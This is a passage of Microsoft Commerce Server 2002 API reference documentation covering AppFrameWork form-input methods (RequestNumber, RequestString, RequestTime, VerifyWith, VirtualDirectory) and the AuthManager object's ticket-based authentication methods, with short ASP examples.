[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

If this method completes successfully it returns a number that represents the value of the specified string in the base monetary unit of the specified local. Thus, given a value in US dollars, it returns the number of cents in that value.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable list_price.

<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="list_price">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' The vtMax argument is the upper limit
' of a Variant variable. Using this value as the upper limit and
' zero (0) as the lower limit of the range check ensures that
' the value is not negative:
list_price = oAppFrameWork .RequestMoneyAsNumber("list_price", 0, 0, _
    2147483647)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[C++] IDataFunctions_4_0::Money

[C++] IAppFrameWork::RequestFloat

[C++] IAppFrameWork::RequestNumber

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber

[Visual Basic] DataFunctions.Money

[Visual Basic] AppFrameWork.RequestFloat

[Visual Basic] AppFrameWork.RequestNumber


IAppFrameWork::RequestNumber Method [C++]

AppFrameWork.RequestNumber Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert it to a number based on the specified or default locale.

Optionally, the RequestNumber method checks the converted number against the specified range and validates it based on the specified locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestNumber(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestNumber(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the value to return if the requested URL query string or form post variable is not present or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. If the variant is of type VT_NULL, the vtMin parameter value is not considered in the validation process.
vtMin [Visual Basic]
A Variant that contains the number value that specifies the low end of the range against which to validate the converted value. If the converted value is less than vtMin, then NULL is returned. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. If the variant is of type VT_NULL, the vtMax parameter value is not considered in the validation process.
vtMax [Visual Basic]
A Variant that contains the number value that specifies the high end of the range against which to validate the converted value. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the bstrName parameter. If this parameter is not used, the RequestNumber method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted number. If any validation fails, the return value will be NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the converted number. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' In the following example, the value of a field on the purchase
' form (filled out by the customer) is read into the
' variable cc_expmonth.

<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="_cc_expmonth">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' Because the Default parameter is specified
' as 7, the RequestNumber method will return 7 if the field is empty
' or missing.
cc_expmonth = oAppFrameWork.RequestNumber("_cc_expmonth",7, 1, 12)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IAppFrameWork::RequestFloat

[C++] IDataFunctions_4_0::ConvertNumberString

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ValidateNumber

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] AppFrameWork.RequestFloat

[Visual Basic] DataFunctions.ConvertNumberString

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ValidateNumber


IAppFrameWork::RequestString Method [C++]

AppFrameWork.RequestString Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and perform string processing on it.

Definition

[C++]
HRESULT IAppFrameWork::RequestString(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtStripWhite,
  VARIANT vtStripReturn,
  VARIANT vtCase,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestString(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtStripWhite As Variant,
  Optional vtStripReturn As Variant,
  Optional vtCase As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL.
vtMin [Visual Basic]
A Variant that contains the number that indicates the minimum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMin parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL. This parameter is optional.
vtMax [C++]
[in, optional] A VARIANT that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL.
vtMax [Visual Basic]
A Variant that contains the number that indicates the maximum length against which the length of the bstrName parameter must be validated. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If this value is invalid or length of the bstrName/vtDefault parameters is not in range, the method returns NULL. This parameter is optional.
vtStripWhite [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True.
vtStripWhite [Visual Basic]
A Variant that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the string. The default value is True. This parameter is optional.
vtStripReturn [C++]
[in, optional] A VARIANT that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True.
vtStripReturn [Visual Basic]
A Variant that contains a Boolean value that indicates whether carriage returns should be stripped from the string. The default value is True. This parameter is optional.
vtCase [C++]
[in, optional] A VARIANT that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase.
vtCase [Visual Basic]
A Variant that contains the number that indicates the case to which the string should be converted. The default value is zero (0), which results in no modification to the case of the string. If the vtCase parameter is one (1), the string is converted to uppercase. If the vtCase parameter is two (2), the string is converted to lowercase. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to be used as the basis of the conversion. If this value is not specified, the RequestString method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the processed string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the processed string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

This method can optionally perform several types of string processing. It can trim leading and trailing white space (space and tab characters) from the string. It can remove carriage returns from the string. It can convert the string to upper- or lowercase.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' vString is a Variant.
' This example assumes that the string value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="String">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the string into the form and clicks the
' Send Info button, the value of this form field can be
' retrieved by the RequestString method as follows:
vString = oAppFrameWork.RequestString("String", "Default String", _
    1, 100, True, True, 0, 1033)
' In this example, the string is checked to ensure that it contains
' between 1 and 100 characters; all leading and trailing white
' spaces are removed, all carriage returns are removed, no
' modification is made to character case, and the string is
' converted according to the locale 1033. If no string is
' input, the string "Default String" will be loaded into the
' variable vString.

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale


IAppFrameWork::RequestTime Method [C++]

AppFrameWork.RequestTime Method [Visual Basic]

Use this method to retrieve a value from a URL query string or form post variable and convert the string to a Date Variant, based on the specified or default locale.

Definition

[C++]
HRESULT IAppFrameWork::RequestTime(
  BSTR bstrName,
  VARIANT vtDefault,
  VARIANT vtMin,
  VARIANT vtMax,
  VARIANT vtLocale,
  VARIANT* pvtRet
);
[Visual Basic]
Function RequestTime(
  bstrName As String,
  Optional vtDefault As Variant,
  Optional vtMin As Variant,
  Optional vtMax As Variant,
  Optional vtLocale As Variant
) As Variant

Parameters

bstrName [C++]
[in] A BSTR that contains the name of the URL query string or form post variable to retrieve.
bstrName [Visual Basic]
A String that contains the name of the URL query string or form post-variable to retrieve.
vtDefault [C++]
[in, optional] A VARIANT that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values.
vtDefault [Visual Basic]
A Variant that contains the string to return if the specified URL query string or form post variable does not exist or contains no value. If this parameter is not supplied, the method returns NULL. The default cannot contain DateTime or Date values. This parameter is optional.
vtMin [C++]
[in, optional] A VARIANT that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. If the VARIANT is of type vtMissing, the vtMin parameter value is not considered in the validation process. If the converted value is less than vtMin, then NULL is returned.
vtMin [Visual Basic]
A Variant that contains the time value that specifies the low end of the range against which to validate the bstrName parameter. The default is no low-end validation. This parameter is optional. If the converted value is less than vtMin, then NULL is returned.
vtMax [C++]
[in, optional] A VARIANT that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. If the variant is of type vtMissing, the vtMax parameter value is not considered in the validation process. If the converted value is greater than vtMax, then NULL is returned.
vtMax [Visual Basic]
A Variant that contains the time value that specifies the high end of the range against which to validate the bstrName parameter. The default is no high-end validation. If the converted value is greater than vtMax, then NULL is returned. This parameter is optional.
vtLocale [C++]
[in, optional] A VARIANT that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object.
vtLocale [Visual Basic]
A Variant that contains the number that specifies the locale to use to convert the DateTime value. If this value is not specified, the RequestTime method uses the value of the Locale property of the DataFunctions object. This parameter is optional.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the date. If any validation fails, the value will be set to NULL.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the date. If any validation fails, the return value will be NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully. If any validation fails, the pvtRet parameter will be NULL.

This method converts the specified String based on the locale specified in the vtLocale parameter if the vtLocale parameter is specified; otherwise it uses the default locale found in the DataFunctions object. It validates the result of the conversion against the vtMin and vtMax parameters, if they are specified. If the validation fails this method returns NULL.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' This example assumes that the time value is entered using
' the following form:
<FORM METHOD ="POST" ACTION="PROCESS.ASP">
<INPUT TYPE="Text" NAME="Time">
<INPUT TYPE="SUBMIT" NAME="ACTION" VALUE="Send Info">
</FORM>
' If the user enters the date into the form and clicks
' the Send Info button, the value of this form field can
' be retrieved by the RequestTime method as follows:
vTime = oAppFrameWork.RequestTime("Time", "12:00:01 AM", _
    "12:00:01 AM", "11:59:59 PM", 1033)

See Also

[C++] AppFrameWork Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertTimeString

[C++] IAppFrameWork::RequestDate

[Visual Basic] AppFrameWork Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertTimeString

[Visual Basic] AppFrameWork.RequestDate


IAppFrameWork::VerifyWith Method [C++]

AppFrameWork.VerifyWith Method [Visual Basic]

Use this method to generate hidden input fields that contain verification values.

Definition

[C++]
HRESULT IAppFrameWork::VerifyWith(
  IDispatch* pdispOrder,
  SAFEARRAY(VARIANT) pParams,
  BSTR* pbstrRet
);
[Visual Basic]
Function VerifyWith(
  pdispOrder As Object
  pParams As Variant
) As Variant

Parameters

pdispOrder [C++]
[in] A pointer to the IDispatch interface that can be used to retrieve the OrderForm object that contains the fields to verify.
pdispOrder [Visual Basic]
An object reference to the OrderForm object that contains the fields to verify.
pParams [C++]
[in] A SAFEARRAY that contains a list of field names to verify in the supplied OrderForm object.
pParams [Visual Basic]
A variable list of arguments of type VARIANT, that contain the field names to verify in the supplied OrderForm object.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the HTML tags.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the HTML tags.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completed successfully.

Use this method to output HTML tags in the form <INPUT TYPE="HIDDEN"> in an HTML form. These hidden fields contain specified values from the OrderForm object to be used to verify that an order has not been altered between presentation of the OrderForm object and final purchase.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Example

[Visual Basic]
' oAppFrameWork is a Commerce.AppFrameWork object.
' The following example generates hidden fields containing
' the values stored in the _total_total,and _tax_total fields
' of the supplied OrderForm object:
<FORM METHOD="POST"
    ACTION="http://example.microsoft.com/xt_orderform_purchase.asp">
    <% = oAppFrameWork.VerifyWith(mscsOrderForm, "_total_total", _
 "_tax_total") %>
' When the page containing this call is loaded in the client
' browser, the document source for the page would contain the
' following HTML script (assuming a total of 138.95 and a tax
' of 8.75):
<FORM METHOD="POST"
ACTION="http://example.microsoft.com/xt_orderform_purchase.asp">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_total_total=13895">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_tax_total=875">

See Also

[C++] AppFrameWork Object

[C++] OrderForm Object

[Visual Basic] AppFrameWork Object

[Visual Basic] OrderForm Object


IAppFrameWork::VirtualDirectory Method [C++]

AppFrameWork.VirtualDirectory Method [Visual Basic]

Use this method to return the name of the virtual directory for the site.

Definition

[C++]
HRESULT IAppFrameWork::VirtualDirectory(
  BSTR* pbstrRet
);
[Visual Basic]
Function VirtualDirectory() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the site virtual directory.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the site virtual directory.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] AppFrameWork Object

[C++] StandardSManager Object

[Visual Basic] AppFrameWork Object

[Visual Basic] StandardSManager Object


AuthManager Object [C++]

AuthManager Object [Visual Basic]

Use this object to perform user identification and authentication and to manage user security information. This object also contains methods for browsing with and without cookies.

ProgID: | Commerce.AuthManager (Externally creatable)
COM Class Name: | MSCSAuthManager
Type Library Name: | Microsoft Commerce 2002 AuthManager 2.0 Type Library
DLL Name: | mscsauth.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSAuthManager2
Interface ID Constant: | IID_IMSCSAuthManager
Header File: | MSCSAuth.h
[C++]

The AuthManager object is primarily intended to be used through ASP script. However, the following methods are available in C++ through the IMSCSAuthManager interface when the MSCSAuthManager object is instantiated outside of an ASP script: GenerateEncryptionKey, GetUserIDFromCookie, GetUserIDFromCookieAndKey, Initialize, Refresh, and UnInitialize.

Once any AuthManager object instance has been successfully initialized withing an ASP or ASP.NET site, any further instances of the AuthManager object initiailized within that site use the cached resources as loaded by the first call to the Initialize method. Therefore, even if a different value for the SiteName parameter is used, the AuthManager object will still be configured to run using the site configuration specified in the first call to the Initialize method. In other words, within a single ASP or ASP.NET site you can run an AuthManager object against the resource configuration of a single site but never multiple sites.

[Visual Basic]

The AuthManager object is primarily intended to be used through ASP script. However, the following methods are available in Visual Basic when the MSCSAuthManager object is instantiated outside of an ASP script: GenerateEncryptionKey, GetUserIDFromCookie, GetUserIDFromCookieAndKey, Initialize, Refresh, and UnInitialize.

Once any AuthManager object instance has been successfully initialized withing an ASP or ASP.NET site, any further instances of the AuthManager object initiailized within that site use the cached resources as loaded by the first call to the Initialize method. Therefore even if a different value for the SiteName parameter is used, the AuthManager object will still be configured to run using the site configuration specified in the first call to the Initialize method. In other words, within a single ASP or ASP.NET site you can run an AuthManager object against the resource configuration of a single site but never multiple sites.

Methods

[C++]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administrative or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a URL containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.
[Visual Basic]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Remarks

The AuthManager object identifies users and gathers information used for user authentication. The methods and properties of this object control and access the contents of cookies and encoded URL strings.

In the Commerce Server 2002 context, authentication uses tickets. A ticket is a string of property/value pairs that provide information about the user. Two types of tickets are supported. An authentication ticket, named MSCSAuth, is used for registered users while a profile ticket, named MSCSProfile, is used for anonymous users. In this context, "registered" means a user who has provided information to a site that can be used for identification.

A user may have both types of tickets. In this case, the MSCSAuth ticket takes precedence.

A ticket contains a unique user ID, and for authentication tickets, the time of last login and a time window. For an anonymous user who allows cookies, the MSCSProfile ticket is stored on the local computer of the user as a persistent cookie. For a registered user who allows cookies, the MSCSAuth ticket is stored in a session cookie and is valid for the duration of the session or a specified time window, and then is deleted.

If the user does not allow cookies, the ticket is placed in an encoded URL string. The URL string may be used to pass user information between pages and sites, provided all the URLs and query strings are generated by the AuthManager object.

The AuthManager object provides a transparent interface to the tickets, whether they are stored in cookies or in URL query strings, and handles encryption and decryption of the tickets to ensure security.

The AuthManager object is intended to be used only through Active Server Pages (ASP) since it depends on ASP intrinsic objects. Do not create the AuthManager object in application scope as it has dependencies on individual user ,sessions. The AuthManager object should be created and destroyed on each ASP page.

The methods GetUserIDFromCookie, GetUserIDFromCookieAndKey, and GenerateEncryptionKey facilitate rolling key encryption functionality. For more information about this feature, see Rolling Key Encryption for Authentication Tickets.

Any operation that requires decryption of the ticket will fail if you change the encryption key. One important instance of this behavior is with profile tickets, because they are persisted on the client computer. Hence when a user with a persisted profile ticket that was encrypted with the old key comes back to the site, AuthManager is not be able to decrypt this ticket. For more information about this issue, see Rolling Key Encryption for Authentication Tickets.

See Also

Core Objects


IMSCSAuthManager2 Methods [C++]

AuthManager Methods [Visual Basic]

Methods

[C++]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administrative or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a URL containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates a URL-encoded query string from arrays of parameter names and values and appends the ticket of the user to the string.
[Visual Basic]
Method | Description
GenerateEncryptionKey | Generates an encryption key for the administration of cookie data. Use this method in administration or setup components only.
GetProperty | Retrieves the specified custom property stored in a cookie or query string.
GetURL | Generates a Uniform Resource Locator (URL) containing optional name/value pairs.
GetUserID | Retrieves the unique ID for the current user.
GetUserIDFromCookie | Retrieves the user ID from a cookie.
GetUserIDFromCookieAndKey | Retrieves the user ID from a cookie and the encryption key.
Initialize | Initializes the AuthManager object by caching all the required site configuration resource properties.
IsAuthenticated | Indicates whether a user is currently authenticated.
Refresh | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket | Generates an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket | Generates an encrypted MSCSProfile ticket for an anonymous user.
SetProperty | Adds a property/value pair to a cookie or query string containing a ticket.
SetUserID | Sets the user ID property on a ticket.
UnInitialize | Removes the site-specific configuration resource properties from the cache.
URLArgs | Generates a URL-encoded query string from arrays of parameter names and values.
URLShopperArgs | Generates a URL-encoded query string from arrays of parameter names and values and appends the ticket of the user to the string.


IMSCSAuthManager2::GenerateEncryptionKey Method [C++]

AuthManager.GenerateEncryptionKey Method [Visual Basic]

Use this method to generate an encryption key for encrypting/decrypting cookie and query string data used for tickets.

Definition

[C++]
HRESULT IMSCSAuthManager::GenerateEncryptionKey(
  BSTR* pbstrRet
);
[Visual Basic]
Function GenerateEncryptionKey() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return a copy of the encryption key.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the encryption key.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_UPM_AUTHMANAGER_GENERATE_ENCRYPTIONKEY_FAILED | [C++] 0xC1004C26 [Visual Basic] &HC1004C26 | An error occurred while generating the encryption key using CryptoAPI, the Windows API that supports encryption features.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The pbstrRet parameter contains valid data only if the method completes successfully.

This method is one of the few AuthManager methods used in C++ applications.

This method is used by Commerce Server setup and Commerce Server Site Packager components during installation, and can be used to change the encryption key at a later time.

The encryption key is stored as part of the site configuration resource properties in the Administrative database.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oAuthManager is a Commerce AuthManager object

sEncryptionKey = oAuthManager.GenerateEncryptionKey()

See Also

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSAuthManager2::GetProperty Method [C++]

